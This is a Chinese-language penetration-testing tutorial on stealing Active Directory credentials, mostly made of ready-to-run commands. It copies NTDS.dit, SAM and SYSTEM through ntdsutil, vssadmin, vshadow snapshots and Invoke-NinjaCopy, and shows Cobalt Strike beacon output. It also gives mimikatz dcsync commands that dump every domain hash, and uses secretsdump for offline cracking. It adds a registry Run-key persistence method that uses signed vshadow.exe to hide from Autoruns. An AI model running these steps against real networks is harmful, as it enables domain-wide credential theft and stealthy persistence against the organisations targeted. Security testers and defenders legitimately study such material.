渗透测试-域内密码凭证获取
Ntds.dit
活动目录数据库(NTDS.DIT)
Ntds.dit 是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。
非域环境也就是在工作组环境中,有一个sam文件存储着当前主机用户的密码信息,想要破解sam文件与ntds.dit文件都需要拥有一个system文件。
AD DS 数据存储:
由 Ntds.dit 文件构成。
默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
只能通过域控制器进程和协议访问。
Ntds.dit:包含了当前域中所有的用户的账号信息,和其HASH值通过获取 Ntds.dit 和 SYSTEM 文件的副本,最可靠的执行密码审计的方法是脱机的。
由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置: C:\Windows\System32\config\SYSTEM
sam文件位置: C:\Windows\System32\config\SAM
活动目录数据库
由 NTDS.DIT 文件构成,是Active Directory的核心
存储在域控的 *%SystemRoot%\ntds* 文件夹下
只能通过域控制器进程和协议访问
在工作组环境中,SAM文件存储着当前主机用户的密码哈希值
在域环境中,NTDS.DIT文件存储了域中所有用户的密码哈希值
因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值。
Windows系统为了进一步保护存储的密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。
因此想要破解 SAM 文件与 NTDS.DIT 文件都需要获取一个 SYSTEM 文件。
由于Window会阻止对这些文件的标准读取或复制操作,如果直接去复NTDS.DIT 文件,会提示文件被系统占用,所以常规的复制下载方法是无法获取到文件副本的,因此需要通过特殊方法来获取。
Volume Shadow Copy
Volume Shadow Copy Service 卷影复制服务(VSS)是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。
用于数据备份。
支持 Windows Server 2003 及以上操作系统。
系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定。
禁用 VSS 会影响系统正常使用,如 System Restore 和 Windows ServerBackup,我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT、SAM、SYSTEM 等文件副本。
注意:
- 调用 Volume Shadow Copy 服务会产生SYSTEM日志, Event ID 为7036。
- 执行 ntdsutil snapshot “activate instance ntds” create quit quit 会额外产生 Event ID 为 98 的日志。
hash数量:所有用户
免杀:不需要
优点:
获得信息全面
简单高效
无需下载ntds.dit,隐蔽性高
Ntdsutil
Ntdsutil.exe 是一个命令行工具,它为 Active Directory 域服务 (AD DS) 和Active Directory 轻型目录服务 (AD LDS) 提供管理工具。您可以使用ntdsutil命令执行AD DS 的数据库维护,管理和控制单个主机操作,并删除域控制器留下的元数据,这些域控制器在未正确卸载的情况下从网络中删除。
域环境默认安装,要使用 Ntdsutil.exe ,您必须从管理员命令提示符运行。
如果安装了 AD LDS 服务器角色但未安装 AD DS 服务器角色,则可以使用dsdbutil.exe 和 dsmgmt.exe 命令行工具来执行可以使用 ntdsutil.exe 执行的相同任务。
支持系统:
Windows Server 2003
Windows Server 2008
Windows Server 2012
交互式
方法一:
- 以管理员身份打开命令提示符(cmd.exe)
- 在命令提示符输入 ntdsutil 命令
- 在 ntdsutil 提示符下输入
ntdsutil #进入ntdsutil命令行
activate instance ntds #激活 AD DS 实例
snapshot
create
mount [GUID]
copy C:\$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit
另打开一个终端:
然后删除快照。
方法二:
- 以管理员身份打开命令提示符(cmd.exe)
- 在命令提示符输入 ntdsutil 命令
- 在 ntdsutil 提示符下输入
activate instance ntds #激活 AD DS 实例
ifm #为可写(full)和只读域控制器 (RODC) 和 AD LDS 实例创建安装介质。
create full <Drive >:\<Folder> #为可写 Active Directory 域控制器或 AD LDS 实例创建安装介质到指定文件夹中
<Drive > :\<Folder>是要创建文件的文件夹路径。
查看是否成功读取成功:
非交互式
查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
GUID:{38319164-2abd-4381-bb19-fb3d3d6edaeb}
挂载快照
ntdsutil snapshot "mount {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit
快照挂载为 C:\$SNAP_202208182153_VOLUMEC$\
复制ntds.dit
copy C:\$SNAP_202208182153_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
copy C:\$SNAP_202208182153_VOLUMEC$\windows\system32\config\SYSTEM c:\SYSTEM
卸载快照
ntdsutil snapshot "unmount {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit
删除快照
ntdsutil snapshot "delete {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit
Vssadmin
vssadmin:卷影复制服务管理命令行工具
域环境默认安装
支持系统:
Windows Server 2003
Windows Server 2008
Windows Server 2012
查询当前系统的快照
vssadmin list shadows
创建快照
vssadmin create shadow /for=c:
获得 Shadow Copy Volume Name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds3.dit
删除快照
vssadmin delete shadows /for=c: /quiet
Vshadow
Vshadow ( vshadow.exe ): 是用于管理卷影副本的命令行实用程序。此工具包含在Microsoft Windows Software Development Kit (SDK) 中,有 Microsoft 签名。
Vshadow 有很多功能,包括执行脚本和调用命令以支持卷影快照管理的能力。
查询当前系统的快照
vshadow.exe -q
创建快照
vshadow.exe -p -nw C:
参数说明:
-p persistent,备份操作,重启系统不会删除
-nw no writers,用来提高创建速度
C: 对应c盘
获得 SnapshotSetID 、 SnapshotID 、 Shadow copy device name
复制ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
删除快照
vshadow -dx={SnapshotSetID}
vshadow -ds={SNAPSHOT ID}
利用vshdow执行命令
Vshadow.exe 支持 -exec 参数,可用于执行二进制文件(.exe)或脚本(.bat/.cmd)
-exec 参数不支持命令参数。
要求:
管理员权限
上传 Vshadow.exe
上传攻击载荷
执行命令格式:
vshadow.exe -nw -exec=<\path\to\exe> <系统驱动器>
-nw:允许我们在不调用卷影副本编写器的情况下创建卷影副本,实际上,这是一个非持久性卷影副本,不会留下“物理”磁盘证据。
执行命令:
beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
[*] Tasked beacon to run: vshadow.exe -nw -
exec=c:\windows\system32\notepad.exe c:
[+] host called home, sent: 87 bytes
成功执行 Vshadow 将启动卷影服务 (VSS),如系统事件 ID 7036 所示,并调用VSSVC.exe 进程。
执行后,后台存在进程 VSSVC.exe ,同时显示服务 Volume Shadow Copy 正在运行,需要手动关闭进程 VSSVC.exe。
注:手动关闭进程 VSSVC.exe 会生成日志 7034
自启动持久化和规避
利用思路:
vshadow.exe 包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns 的默认启动列表不显示。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "C:\vshadow.exe -nw - exec=c:\windows\system32\notepad.exe c:"
在 AutoRuns 中,当过滤 Microsoft Entries 时,我们将看不到我们的登录条目。
但是,如果我们取消选择 Microsoft Entries 并启用Windows Entries ,我们将看到我们的持久性机制的记录。
NinjaCopy
使用 PowerShell 复制 NTDS.dit / Registry Hives ,绕过 SACL/ DACL / File
Locks
下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1
用于获取哈希的技术要么依赖于将代码注入 LSASS ,要么使用卷影复制服务来获取包含哈希的文件
的副本。
Invoke-NinjaCopy ,一个 PowerShell 脚本,能够通过获取卷的读取句柄并解析NTFS 来复制 NTDS.dit 、注册表配置单元和位于 NTFS 卷上的任何其他文件。这不需要提升到 SYSTEM 、注入到 SYSTEM 进程或启动新服务/可疑程序。
原理简述:获取 C 卷的读取句柄(管理员帐户可以执行此操作),能够读取整个卷的原始字节。然后,解析 C 卷上的 NTFS 结构,确定特定文件的字节在卷上的位置,扫描到该位置并复制文件字节。
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination.\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination"C:\Users\Administrator\Desktop\ntds.dit"
在CS使用该命令时只需要在前边加上powershell即可。
powershell Import-Module .\invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination.\sam.hive
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination"C:\Users\Administrator\Desktop\ntds.dit"
解密Ntds.dit文件
mimikatz在线破解
在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的shell上破解。
有一个cs弹回的beacon,就可以在beacon中直接利用mimikatz来破解,这一切的前提是有管理员权
限。Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
使用Mimikatz的 dcsync 功能,可以利用目录复制服务(Directory Replication Service,DRS)从NTDS.DIT文件中提取密码哈希值。
在获得管理员权限后,通过Cobaltstrike弹回的beacon利用mimikatz模块进行密码Hash提取。
获取zsyy域内所有用户Hash
lsadump::dcsync /domain:zsyy.local /all /csv
查看john用户的详细信息
lsadump::dcsync /domain:zsyy.local /user:john
查看所有用户的详细信息
lsadump::lsa /inject
离线破解
离线破解一般需要两步,首先就是将远端域控的 ntds.dit 下载到本地,然后再在本地进行破解。
ntds.dit 文件一直在被 windows 系统使用,所以常规的复制下载方法是无法将文件下载到本地的。
首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地,然后在本地进行破解。
QuarksPwDump
QuarksPwDump 是一款用于Windows用户凭据提取的开源工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。
需要上传到目标主机执行(获取目标主机的 SYSKEY 解密 ntds.dit ),但是容易被杀软查杀。
- 修复复制出来的数据库
esentutl /p /o ntds.dit
SecretsDump
通过 impacket 套件中的 secretsdump.py 脚本。
secretsdump.exe -sam sam.hive -system system.hive -ntds ntds.dit LOCAL
扩展
- 日志文件
调用 Volume Shadow Copy 服务会产生日志文件,位于System下, Event ID 为 7036。
执行 ntdsutil snapshot “activate instance ntds” create quit quit 会额外产生Event ID 为98的日志文件。
- 访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问 ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件可通过创建符号链接访问快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
删除符号链接:
rd c:\testvsc